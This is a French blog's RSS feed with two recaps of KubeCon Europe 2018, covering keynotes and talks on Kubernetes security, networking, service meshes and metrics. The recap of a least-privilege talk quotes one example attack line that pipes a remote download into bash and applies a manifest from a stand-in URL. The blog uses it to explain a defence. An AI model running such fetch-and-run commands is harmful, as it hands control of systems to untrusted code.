<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Copenhague on Zwindler's Reflection</title><link>https://blog.zwindler.fr/tags/copenhague/</link><description>Recent content in Copenhague on Zwindler's Reflection</description><generator>Hugo -- gohugo.io</generator><language>fr</language><copyright>Licensed under CC BY-SA 4.0</copyright><lastBuildDate>Mon, 07 May 2018 14:00:58 +0000</lastBuildDate><atom:link href="https://blog.zwindler.fr/tags/copenhague/index.xml" rel="self" type="application/rss+xml"/><item><title>Récap du deuxième jour de Kubecon Europe 2018</title><link>https://blog.zwindler.fr/2018/05/07/recap-du-deuxieme-jour-de-kubecon-europe-2018/</link><pubDate>Mon, 07 May 2018 14:00:58 +0000</pubDate><guid>https://blog.zwindler.fr/2018/05/07/recap-du-deuxieme-jour-de-kubecon-europe-2018/</guid><description>&lt;img src="https://blog.zwindler.fr/2018/05/20180502_114733_HDR-1.webp" alt="Featured image of post Récap du deuxième jour de Kubecon Europe 2018" /&gt;&lt;h2 id="deuxième-jour-de-kubecon"&gt;Deuxième jour de Kubecon
&lt;/h2&gt;&lt;p&gt;Depuis mardi soir, j’étais à Copenhague pour assister à la KubeCon + CloudNativeCon Europe 2018. Si vous n’avez pas lu mon résumé de la journée de mercredi, &lt;a class="link" href="https://blog.zwindler.fr/2018/05/03/recap-du-premier-jour-de-kubecon-europe-2018/" &gt;je vous propose d’aller le lire ici !&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Comme la veille, la journée a commencée par des Keynotes animées par Liz Rice &amp;amp; Kelsey Hightower.&lt;/p&gt;
&lt;p&gt;Attention : j’ai trouvé qu’il y avait un peu de bourrage de crâne de la part des sponsors, vous risquez de me voir râler un peu ;-)&lt;/p&gt;
&lt;h3 id="kubernetes-project-update"&gt;Kubernetes Project Update
&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://schd.ws/hosted_files/kccnceu18/b5/Kubernetes%20Project%20Update.pdf" target="_blank" rel="noopener"
&gt;&lt;em&gt;Keynote: Kubernetes Project Update - Aparna Sinha, Group Product Manager, Kubernetes and Google Kubernetes Engine, Google&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Dans le même style de la keynote de Liz Rice sur les évolutions dans les projets de la CNCF, cette Keynote a été l’occasion de revenir sur les fonctionnalités qui sont apparues dans les versions 1.8, 1.9 et plus récemment 1.10.&lt;/p&gt;
&lt;p&gt;Forcément, en 3 releases, le nombre de fonctionnalités sur un projet de cette ampleur est forcément impressionnant. On peut noter l’ajout des &lt;strong&gt;Cronjobs&lt;/strong&gt;, du support du &lt;strong&gt;Machine Learning&lt;/strong&gt;, du fait Kubernetes peut agir en tant qu’orchestrateur pour des &lt;strong&gt;workload Spark et l’operator Spark&lt;/strong&gt; (ceci à d’ailleurs fait l’objet d’une démo en live dans laquelle ont été comptés les mots dans l’oeuvre de shakespeare).&lt;/p&gt;
&lt;p&gt;Sur l’aspect sécurité, Aparna Sinha a lourdement insisté &lt;a class="link" href="https://github.com/google/gvisor" target="_blank" rel="noopener"
&gt;sur gvisor que Google a open sourcé&lt;/a&gt; dans le cadre de la conférence (micro kernel en userland permettant de ne pas exécuter les containers directement sur le kernel de l’hôte). On en a déjà eu une couche hier, et des confs étaient prévues dans la journée&amp;hellip;&lt;/p&gt;
&lt;p&gt;Des progrès ont également été fait avec l’introduction de la &lt;strong&gt;CSI (container storage interface)&lt;/strong&gt;, qui, comme la &lt;strong&gt;CNI&lt;/strong&gt; a pour but d’uniformiser la gestion du stockage via des extensions dans Kubernetes.&lt;/p&gt;
&lt;p&gt;Et Mme Google d’en remettre une couche pour dire à quel point ils sont sympa d’avoir open sourcé un bout de code dans Prometheus pour permettre à vos Prometheus &lt;em&gt;on premise&lt;/em&gt; de streamer les data vers le cloud (Google Cloud au hasard ?). Pour vous faciliter la vie et avoir tout dans un même endroit bien sûr ;).&lt;/p&gt;
&lt;h3 id="accelerating-kubernetes-native-applications"&gt;Accelerating Kubernetes Native Applications
&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://schd.ws/hosted_files/kccnceu18/49/BRANDON%20PHILIPS.pdf" target="_blank" rel="noopener"
&gt;&lt;em&gt;Keynote: Accelerating Kubernetes Native Applications - Brandon Philips, CTO of CoreOS, Red Hat&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Brandon Philips de CoreOS (racheté depuis peu par RedHat) est venu nous parler des Operators, ou comment étendre Kubernetes de manière propre. CoreOS est depuis longtemps impliquée dans le développement d’extensions de Kubernetes, notamment parce Tectonic en proposait 2 (les operators etcd &amp;amp; prometheus).&lt;/p&gt;
&lt;p&gt;Concrètement, on étend l’API de Kubernetes en créant de nouveaux objets logiques, ce qui nous permet de piloter des logiciels tiers comme s’ils faisaient partie du cluster.&lt;/p&gt;
&lt;p&gt;Pour continuer dans cette veine, CoreOS a mis à disposition un Framework, « l’Operator framework », dont le but est de faciliter la création des operators par des sociétés/projets tiers.&lt;/p&gt;
&lt;p&gt;Bel effort, il faudra voir si ça prend ou pas.&lt;/p&gt;
&lt;h3 id="rex-du-financial-times"&gt;REX du Financial times
&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://schd.ws/hosted_files/kccnceu18/97/SARAH%20KubeconEurope2018_final.pdf" target="_blank" rel="noopener"
&gt;&lt;em&gt;Keynote: Switching Horses Midstream: The Challenges of Migrating 150+ Microservices to Kubernetes - Sarah Wells, Technical Director for Operations and Reliability, Financial Times&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Un REX très agréable et très bien présenté par Sarah Wells. Le Financial Times, comme beaucoup de compagnies, fait de l’IT de pointe, non pas parce que c’est son coeur de métier, mais par nécessité.&lt;/p&gt;
&lt;p&gt;Quand ils sont passés sous Docker en 2015, le moins que l’on puisse dire c’est que la peinture n’était pas encore complètement fraîche, et une solution maison a du être montée pour répondre aux besoins. Et quand courant 2016, l’ensemble de la core-team qui a passé la production sous Docker est partie d’un coup, il a fallu faire face et trouver une solution.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Choose boring technology&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Fin 2016, les équipes en places ont donc considérés les alternatives, ont décidés que Kubernetes étaient le leader émergents avec le plus de chances de devenir le standard de facto (bien vu) et banco.&lt;/p&gt;
&lt;p&gt;Enfin, banco, c’est vite dit !&lt;/p&gt;
&lt;p&gt;Une grosse partie de la Keynote a justement gravité autour du fait qu’il n’est pas si facile de migrer des centaines de microservices en production d’une solution maison basée sur Docker à un orchestrator comme Kubernetes !&lt;/p&gt;
&lt;p&gt;Quelques questions/réflexions qu’ils ont du se poser. J’en ai noté quelques unes :&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;How do you work in parallel (separate branches or if/else in code) ?&lt;br&gt;
Separate deployment mechanisms vs a single one ?&lt;br&gt;
On which branch must I do the testing ?&lt;br&gt;
Making sure a service will recover if k8s moves it elsewhere&lt;br&gt;
It’s easy to get sucked into making things better&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="shaping-the-cloud-native-future"&gt;Shaping the cloud native future
&lt;/h3&gt;&lt;p&gt;&lt;em&gt;Keynote: Shaping the Cloud Native Future - Abby Kearns, Executive Director, Cloud Foundry Foundation&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Sincèrement, je n’ai pas compris le message. J’ai juste noté ça :&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Cloud native&lt;br&gt;
Cloud everything&lt;br&gt;
Interoperability &amp;amp; Velocity &amp;amp; Innovation&lt;br&gt;
On peut faire tout ça avec Cloud Foundry et l’armée de l’air des états unis économise plein d’argent grâce à nous&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Next.&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id="skip-the-anxiety-attack---build-secure-apps-with-kubernetes"&gt;Skip the Anxiety Attack - Build Secure Apps with Kubernetes
&lt;/h3&gt;&lt;p&gt;&lt;em&gt;Keynote: Skip the Anxiety Attack - Build Secure Apps with Kubernetes - Jason McGee, Fellow, IBM&lt;/em&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Kubernetes est un composant majeur pour vos cloud native apps, qui s’intègre nativement dans les processus de types CI/CD, offre une infrastructure flexible, permet de gérer la sécurité&amp;hellip;&lt;/p&gt;
&lt;p&gt;En plus de ça dans notre super cloud on peut ajouter traquer les vulnérabilités de vos containers, on a du TXT intel et du istio.io, blablabla&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Next.&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id="softwares-community"&gt;Software’s community
&lt;/h3&gt;&lt;p&gt;&lt;em&gt;Keynote: Software’s Community - Dave Zolotusky, Software Engineer, Spotify&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;On sort un peu du marketing mal déguisé et on repasse sur un REX, celui de Spotify !&lt;/p&gt;
&lt;p&gt;Plutôt que de faire encore un talk sur leur migration vers K8s et les problèmes qu’ils ont rencontrés, Dave Zolotusky a préféré faire un talk sur ce que leur a apporté la communauté open source et pourquoi il faut contribuer.&lt;/p&gt;
&lt;p&gt;Concrètement, Dave venait du monde &lt;em&gt;closed source&lt;/em&gt;, avec des supports payant pour chacun des progiciels en production.&lt;/p&gt;
&lt;p&gt;Depuis qu’il est chez Spotify et leur migration vers K8s et l’écosystèmes opensource qui gravite autour, à chaque fois qu’ils ont rencontrés un problème complexe, ils se sont tournés vers la communauté et à leur plus grande surprise, ont trouvé rapidement quelqu’un pour les aider.&lt;/p&gt;
&lt;p&gt;Que ce soit faire des &lt;strong&gt;Ingress cross namespaces&lt;/strong&gt; ou les problèmes qu’ils ont pu rencontrer en les configurant, ou encore quand ils ont configurés leurs Prometheus, il y avait toujours un dev sur Slack ou un pair de la CNCF pour leur répondre.&lt;/p&gt;
&lt;p&gt;Certes, ce talk est un peu &lt;em&gt;bateau&lt;/em&gt; dans une conf autour de projets open sources, mais ça fait toujours du bien à entendre, surtout venant d’une société (1) relativement connue, (2) dont ce n’est pas le cœur de métier.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;We are all facing the same problems. And even if you’re THAT guy that has a problem no one else has, please share it. Others may look up to you when they’ll face the same problem later.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="et-cest-reparti-pour-le-multi-track"&gt;Et c’est reparti pour le multi-track
&lt;/h2&gt;&lt;h3 id="applying-least-privileges-through-kubernetes-admission-controllers"&gt;Applying least privileges through Kubernetes admission controllers
&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://kccnceu18.sched.com/event/EgBG/applying-least-privileges-through-kubernetes-admission-controllers-benjy-portnoy-aqua-security-intermediate-skill-level" target="_blank" rel="noopener"
&gt;&lt;em&gt;Applying Least Privileges through Kubernetes Admission Controllers - Benjy Portnoy, Aqua Security&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Benjy Portnoy a fait quelques rappels de sécurités sur tout bon cluster Kubernetes.&lt;/p&gt;
&lt;p&gt;Même si les recommandation sont un peu « obvious », ça fait toujours du bien de rappeler pourquoi il faut le faire (et le faire ;p).&lt;/p&gt;
&lt;p&gt;Privilèges minimum pour tous les utilisateurs, autant sur les objets (limiter à des types d’objets, mais limiter aussi les actions qui peuvent être faites sur cet objet). Ça permet de limiter l’impact de l’erreur humaine ou de l’attaque de type social engineering du type :&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;curl | bash // kubectl create -f http://fakeapp.example.org.yaml
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Benjy a rapidement rappelé qu’il existe un certain nombre de bonnes pratiques qui sont tout simplement décrites dans la documentation officielle de Kubernetes : authentification RBAC, segmentation des réseaux, &lt;strong&gt;PodSecurityPolicy&lt;/strong&gt;, chiffrement des Secrets, enregistrement de tout ce qui se passe sur le cluster à des fins d’audit, &amp;hellip;&lt;/p&gt;
&lt;p&gt;Mais le focus du talk a surtout été l’utilisation des &lt;strong&gt;AdmissionControllers&lt;/strong&gt;, avec plusieurs exemples :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Allways pull images&lt;/li&gt;
&lt;li&gt;Deny escalating exec&lt;/li&gt;
&lt;li&gt;Pod security policy&lt;/li&gt;
&lt;li&gt;Node restriction&lt;/li&gt;
&lt;li&gt;Resource quota&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Les possibilités de sécurisations sont infinies et ça nécessite d’y passer du temps car ce n’est pas « built-in » ;-).&lt;/p&gt;
&lt;p&gt;Pour finir, Benjy a listé quelques outils permettant d’auditer soit même son cluster ou ses pods. A tester !&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class="link" href="https://github.com/aquasecurity/kube-bench" target="_blank" rel="noopener"
&gt;Kube-bench&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;kubehunter (pas encore public)&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://kubesec.io/" target="_blank" rel="noopener"
&gt;kubesec.io&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://web.archive.org/web/20210804215839/https://blog.aquasec.com/microscanner-free-image-vulnerability-scanner-for-developers" target="_blank" rel="noopener"
&gt;Microscanner&lt;/a&gt; (ajouter 2 lignes dans tous les Dockerfiles pour avoir un retour sur la sécurité des images sous-jacentes)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="kubevisor"&gt;Kubevisor
&lt;/h3&gt;&lt;p&gt;J’avais prévu d’aller voir « &lt;a class="link" href="https://kccnceu18.sched.com/event/Dqus/understanding-distributed-consensus-in-etcd-and-kubernetes-laura-frank-codeship-intermediate-skill-level" target="_blank" rel="noopener"
&gt;&lt;strong&gt;Understanding Distributed Consensus in etcd and Kubernetes&lt;/strong&gt;&lt;/a&gt;« , mais, joie des confs multitrack, il n’y avait plus de place dans l’amphi et je me suis fait refouler ! Dommage, j’avais vraiment envie de mieux comprendre &lt;strong&gt;etcd&lt;/strong&gt;, qui pour beaucoup est une bonne grosse boite noire, ce qui est gênant vu le rôle central qu’il joue dans K8s&amp;hellip; Je suis donc allé dans l’amphi d’à côté pour voir :&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;a class="link" href="https://schd.ws/hosted_files/kccnceu18/e8/%5Bkubecon%5D%5BKopenhagen-2018%5D%20Kubervisor.pdf" target="_blank" rel="noopener"
&gt;Pod Anomaly Detection and Eviction using Prometheus Metrics - David Benque &amp;amp; Cedric Lamoriniere, Amadeus&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Deux personnes de chez Amadeus (avec un accent bien Français ;p) nous ont présentés les problématiques posées par le loadbalancing d’applications fortement dépendantes les unes des autres.&lt;/p&gt;
&lt;p&gt;Le pitch du talk était qu’un loadbalancing basique ne permet pas, dans ce genre de cas, d’éviter un effet papillon (un noeud défectueux provoque une panne en cascade). Pour améliorer leur stabilité, les ingénieurs chez Amadeus ont donc recours aux techniques suivantes :&lt;/p&gt;
&lt;p&gt;Pour toutes les commnucations inter-microservices, l’utilisation d’un service mesh (Linkerd, istio.io), permettant un loadbalancing plus intelligent, avec des circuit breaker avec du routage intelligent et des fonctionnalités de type open/close/half-open en cas de défaillance.&lt;/p&gt;
&lt;p&gt;Pour limiter l’impact d’une panne, ce service mesh leur permet aussi de prendre des décisions en fonction de signaux techniques (consommation mémoire, nombre de connexions).&lt;/p&gt;
&lt;p&gt;Cependant, les produits existants ne répondaient toujours pas à l’ensemble de leur problématiques, et ils ont donc  présenté &lt;strong&gt;Kubevisor&lt;/strong&gt;, une solution de détection d’anomalies dans les &lt;strong&gt;Pods&lt;/strong&gt;, qui permet entre autre de gérer directement dans Kubernetes des notions de « circuit breaking » par application et avec des règles complet (une partie breaker, une partie activator) via des CRD (custom resources definitions).&lt;/p&gt;
&lt;h3 id="101-ways-to-break-and-recover-kubernetes-clusters"&gt;101 ways to Break and Recover Kubernetes Clusters
&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://schd.ws/hosted_files/kccnceu18/b2/%E2%80%9CBreak%20and%20Recover%E2%80%9D%20Kubernetes%20Cluster%20and%20Application.pdf" target="_blank" rel="noopener"
&gt;101 Ways to “Break and Recover” Kubernetes Cluster - Suresh Visvanathan &amp;amp; Nandhakumar Venkatachalam, Oath (Yahoo) &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Deux personnes de chez Oath (Ex Yahoo) nous ont fait une liste à la Prévert de tous les problèmes qu’ils ont rencontré en production, et les mécanismes qu’ils ont mis en place pour éviter que ça se reproduise.&lt;/p&gt;
&lt;p&gt;Si l’intention était bonne, la présentation était très rapide et un peu décousue (trop de cas, on passait trop rapidement d’une slide à l’autre).&lt;/p&gt;
&lt;p&gt;Quelques cas qui ont retenu mon attention :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Un ingénieur qui exécute « &lt;strong&gt;kubectl delete -f /dir&lt;/strong&gt; » et qui supprime par erreur un namespace. Un des méthoes pour éviter ça est d’utiliser un &lt;strong&gt;Admission controller&lt;/strong&gt; pour interdire la suppression d’un namespace s’il reste des objets dedans.&lt;/li&gt;
&lt;li&gt;Deux &lt;strong&gt;Ingress&lt;/strong&gt; déclarent le même alias (on se retrouve donc avec un genre de loadbalancing chelou qui bascule une requête sur deux sur des services qui n’ont rien à voir). Là encore, le plus simple est d’utiliser un &lt;strong&gt;Admission controller&lt;/strong&gt; pour éviter que ça n’arrive.&lt;/li&gt;
&lt;li&gt;Suite à un bug sur les cgroup, tous les nœuds sont passés « Not ready » (alors que les pods fonctionnaient toujours) et ont supprimé tous les pods (eviction queue). Il existe un « Partial Disruption mode », qui permet d’éviter de tout supprimer alors que les nodes ?&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="digital-ocean"&gt;Digital ocean
&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://schd.ws/hosted_files/kccnceu18/15/Global%20Container%20Networks%20-%20KubeCON%20EU%202018.pdf" target="_blank" rel="noopener"
&gt;_Global Container Networks on Kubernetes at DigitalOcean - Andrew Sy Kim, DigitalOcean _&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Un talk bien costaud sur la façon dont Digital Ocean utilise **&lt;em&gt;BGP&lt;/em&gt; **comme couche d’abstraction réseau pour Kubernetes.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Wait&amp;hellip; what ?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Au début, j’étais un peu sceptique aussi. Leur problème initial était que dans leur cas, les abstractions de réseau existantes étaient :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;trop lentes pour certaines applications (overhead, latence)&lt;/li&gt;
&lt;li&gt;Le NAT/masquerading des IPs des pods empêche les développeurs de connaitre
&lt;ul&gt;
&lt;li&gt;dans le pod, l’adresse de la source&lt;/li&gt;
&lt;li&gt;depuis un client, l’adresse IP du pod qui a répondu&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Au final, l’utilisation de BGP (pas détourné, mais peu commun on va dire) pour fournir un plan d’adressage global, aussi bien pour leurs serveurs physiques que pour leurs pods dans &lt;strong&gt;tous leurs DCs&lt;/strong&gt; permet à Digital Océan d’avoir un réseau virtuel performance et d’avoir une IP accessible de manière globale pour chaque pod.&lt;/p&gt;
&lt;p&gt;Au delà de la partie peering des équipements et des serveurs dans le DC (intéressant), il existe une implémentation de BGP pour Kuernetes (&lt;a class="link" href="https://github.com/cloudnativelabs/kube-router" target="_blank" rel="noopener"
&gt;Kube-router&lt;/a&gt;) qui support eBGP/iBGP, le peering automatique BGP pour les services et les pods.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://blog.zwindler.fr/2018/05/kuberouter.avif"
loading="lazy"
&gt;&lt;/p&gt;
&lt;p&gt;Cerise sur le gâteau, ils se sont rendu compte après coup qu’avec cette implémentation du réseau ils pouvaient (via des External IPs) rendre directement accessible sur Internet des pods, en fonction de l’endroit où vous êtes sur le globe et via la même IP.&lt;/p&gt;
&lt;p&gt;2ème cerise sur le gâteau, ils ont simplifié grandement leur gestion du DNS, en ajoutant une délégation pour que tous les services Kubernetes (de type monservice.monnamespace.cluster.local) puissent être résolus et accessibles depuis le réseau Digital Ocean, &lt;strong&gt;même en dehors de Kubernetes&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id="linkerd"&gt;Linkerd
&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://schd.ws/hosted_files/kccnceu18/4e/Linkerd%20Intro.pdf" target="_blank" rel="noopener"
&gt;&lt;em&gt;Linkerd Intro – Andrew Siegner &amp;amp; George Miranda, Buoyant.io&lt;/em&gt; &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Un démonstaction en live de Linkerd (service mesh), focalisée sur la partie loadbalancing / circuit breaker.&lt;/p&gt;
&lt;p&gt;C’est simple, ça marche super bien, mais j’ai été vachement refroidi par le présentateur quand quelqu’un lui a demandé quels étaient les avantages de Linkerd par rapport aux autres solutions a dit :&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Linkerd, c’est puissant et stable, mais ça consomme beaucoup de ressources (1Go de RAM). On est en train de réécrire complètement le produit (Conduit). Si vous avez besoin d’un service mesh vraiment aujourd’hui et en production, Linkerd est super. Mais sinon, dans 2 mois on sort une version stable de Conduit. Le mieux, c’est d’attendre Conduit.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;J’étais un peu sidéré&amp;hellip; mais mes collègues m’ont confirmé que je n’avais pas rêvé.&lt;/p&gt;
&lt;h3 id="reveal-your-deepes-metrics"&gt;Reveal your deepes metrics
&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://schd.ws/hosted_files/kccnceu18/11/20180503%20KubeCon%20EU%20-%20Kubernetes%20Metrics%20Deep%20Dive.pdf" target="_blank" rel="noopener"
&gt;&lt;em&gt;Reveal Your Deepest Kubernetes Metrics - Bob Cotton, Freshtracks.io&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Un talk très sympa par Bob Cotton de Freshtracks.io. Je ne sais pas si c’était volontaire ou pas, mais il n’a pas du tout parlé de sa société (startup dans le monitoring K8s et prometheus, co-fondateur) et est rentré directement dans le vif du sujet : les métriques. On a vraiment senti que c’était un passionné par ce sujet, c’était très fluide malgré une masse d’information conséquente.&lt;/p&gt;
&lt;p&gt;Comment déterminer quelles métriques sont importantes ?&lt;/p&gt;
&lt;p&gt;Je ne savais pas que ça existait, mais il existe des méthodes pour classifier les métriques pour mesurer l’état de santé d’un service ou d’un cluster :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Four golden signals (Latency / Errors / Traffic / Saturation)&lt;/li&gt;
&lt;li&gt;USE method  (Utilization / Saturation / Errors) réservée aux composants physiques (machine virtuelle) ou fonctionnels (serveur Apache)&lt;/li&gt;
&lt;li&gt;RED method (Rate / Errors / Duration) pour les applications&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;USE is for Resources&lt;br&gt;
RED is for Services&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Je ne vais pas tout détailler ici car c’était très dense, mais le support est à lire si vous devez mettre en place une solution de supervision pour votre application (quelle soit hébergée sur Kubernetes ou pas d’ailleurs).&lt;/p&gt;
&lt;h2 id="et-pour-finir-la-journée-"&gt;Et pour finir la journée ?
&lt;/h2&gt;&lt;p&gt;Pour ne pas nous assommer de Keynotes à nouveau, les organisateurs de la Kubecon avaient prévu une « soirée » à Tivoli Gardens. C’est un genre de parc d’attractions / fête foraine permanente en plein centre de Copenhague.&lt;/p&gt;
&lt;p&gt;L’occasion de réseauter pour les plus studieux, ou juste de faire quelques manèges. C’était très sympa ;)&lt;/p&gt;
&lt;p&gt;&lt;img src="https://blog.zwindler.fr/2018/05/20180503_183546-2.avif"
loading="lazy"
&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://blog.zwindler.fr/2018/05/20180503_185350_HDR.avif"
loading="lazy"
&gt;&lt;/p&gt;
&lt;h2 id="et-vendredi-"&gt;Et vendredi ?
&lt;/h2&gt;&lt;p&gt;Il ne vous aura pas échappé que la Kubecon dure 3 jours. Malheureusement pour moi&amp;hellip; mes amis gréviste de chez Air France ont décidé pour moi que je ne participerai pas au vendredi, en annulant mon Copenhague Paris et en me proposant comme seule et unique solution de passer ma journée de les aéroports (Zurich et Charles de Gaulle notamment).&lt;/p&gt;
&lt;p&gt;Un peu dégoûté mais bon&amp;hellip; C’est la vie ;-)&lt;/p&gt;</description></item><item><title>Récap’ du premier jour de KubeCon Europe 2018</title><link>https://blog.zwindler.fr/2018/05/03/recap-du-premier-jour-de-kubecon-europe-2018/</link><pubDate>Wed, 02 May 2018 22:09:43 +0000</pubDate><guid>https://blog.zwindler.fr/2018/05/03/recap-du-premier-jour-de-kubecon-europe-2018/</guid><description>&lt;img src="https://blog.zwindler.fr/2018/05/kubecon.webp" alt="Featured image of post Récap’ du premier jour de KubeCon Europe 2018" /&gt;&lt;h2 id="premier-jour-de-kubecon-aujourdhui-"&gt;Premier jour de KubeCon aujourd’hui !
&lt;/h2&gt;&lt;p&gt;Hier soir, je suis arrivé à Copenhague pour participer à la KubeCon + CloudNativeCon Europe 2018. Vous ne savez pas de quoi il s’agit ? C’est LA conférence sur 3 jours, organisée par la CNCF, qui parle de Kubernetes et tout ce qui gravite autour.&lt;/p&gt;
&lt;p&gt;Ce n’est pas la première conf que je couvre sur le blog, j’avais déjà fais &lt;a class="link" href="https://blog.zwindler.fr/2018/01/26/recap-hack-it-n-2018/" &gt;un récapitulatif de la Hack-It-N 2018&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://blog.zwindler.fr/2018/05/20180502_090306.avif"
loading="lazy"
&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;On est environ 4300&amp;hellip;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;La journée a commencée par des Keynotes, ponctuées par des petites interventions de Liz Rice et Kesley Hightower. La plupart étaient un peu humoristiques, mais j’ai retenu ceci parmis les keynotes du matin :&lt;/p&gt;
&lt;h3 id="où-en-sont-les-projets-de-la-cncf-"&gt;Où en sont les projets de la CNCF ?
&lt;/h3&gt;&lt;p&gt;&lt;em&gt;Keynote: CNCF Project Update - Liz Rice, Technology Evangelist, Aqua Security; Sugu Sougoumarane, CTO, PlanetScale Data; Colin Sullivan, Product Manager, Synadia Communications, Inc. &amp;amp; Andrew Jessup, Co-founder&amp;hellip;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Cette année, le moins que l’on puisse dire est que la CNCF a réellement pris de l’ampleur, en terme de projets notamment.&lt;/p&gt;
&lt;p&gt;L’ajout de plusieurs projets à l’état « Sandbox » :&lt;/p&gt;
&lt;p&gt;Rook (abstraction du stockage), One Policy Agent (politiques de sécurité pour l’ensemble de la stack), SPIFFE (langage de spec) &amp;amp; SPIRE (runtime env) qui a pour but d’établir un lien de confiance entre l’infrastructure et les workloads.&lt;/p&gt;
&lt;p&gt;Plusieurs projets sont à l’état « Incubator » :&lt;/p&gt;
&lt;p&gt;CoreDNS, Linkerd (service mesh), Envoy (distributed proxy), Prometheus, OpenTracing, Jaeger (distributed tracing), Fluentd (Splunk Entreprise connector + fluentd daemonset for kubernetes), Fluent bit (client lightweight un peu comme Beats d’Elastic), NATS (messaging), Container Network Interface (CNI), gRPC (client/server), Container runtime (Containerd / Kubernetes CRI), TUF (The Update Framework), Notary, Vitess (distribution de données sur MySQL avec Sharding/resharding automatic)&lt;/p&gt;
&lt;p&gt;La liste est vertigineuse.&lt;/p&gt;
&lt;p&gt;Kubernetes est également passé à l’état « Graduated » (premier projet CNCF a passé à l’état « production ready » pour la plupart des projets informatiques, pas seulement pour les tech enthousiasts et les early adopters.&lt;/p&gt;
&lt;p&gt;Si j’ai tout listé, c’est que l’ensemble de ces projets ont par la suite droit à une ou plusieurs confs et j’aurai l’occasion de revenir dessus si je participe aux confs en question.&lt;/p&gt;
&lt;h3 id="re-thinking-networking-for-microservices"&gt;Re-thinking Networking for Microservices
&lt;/h3&gt;&lt;p&gt;&lt;em&gt;Keynote: Re-thinking Networking for Microservices - Lew Tucker, VP/CTO Cloud Computing, Cisco Systems, Inc.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Le CTO Cloud Computing de Cisco est venu nous expliquer que maintenir l’ensemble des services permettant au microservice d’échanger avec le monde extérieur, c’est compliqué, et qu’il vaut mieux utiliser du service mesh (découpler tous les services de communication et externes aux services comme logging, api, auth, &amp;hellip;).&lt;/p&gt;
&lt;h3 id="rex-du-cern"&gt;REX du CERN
&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://schd.ws/hosted_files/kccnceu18/d0/CERN.pdf" target="_blank" rel="noopener"
&gt;&lt;em&gt;Keynote: CERN Experiences with Multi-Cloud Federated Kubernetes&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;On ne présente pas le CERN (mais en fait on a quand même eu droit à une présentation ;-p ), mais au delà des travaux scientifiques, il faut des ops pour faire tourner la puissance de calcul brute.&lt;/p&gt;
&lt;p&gt;10000 hyperviseurs, des quantités de données très importantes (1 Po/s généré, 10 Go/s enregistré).&lt;/p&gt;
&lt;p&gt;Malgré cette force de frappe plus qu’honnête, lors de grosses campagnes de calculs scientifiques, il faut tirer parti de ressources externes (clouds, universités), ce qui induit la nécessité d’un outils permettant de fédérer des machines provenant de tous horizons.&lt;/p&gt;
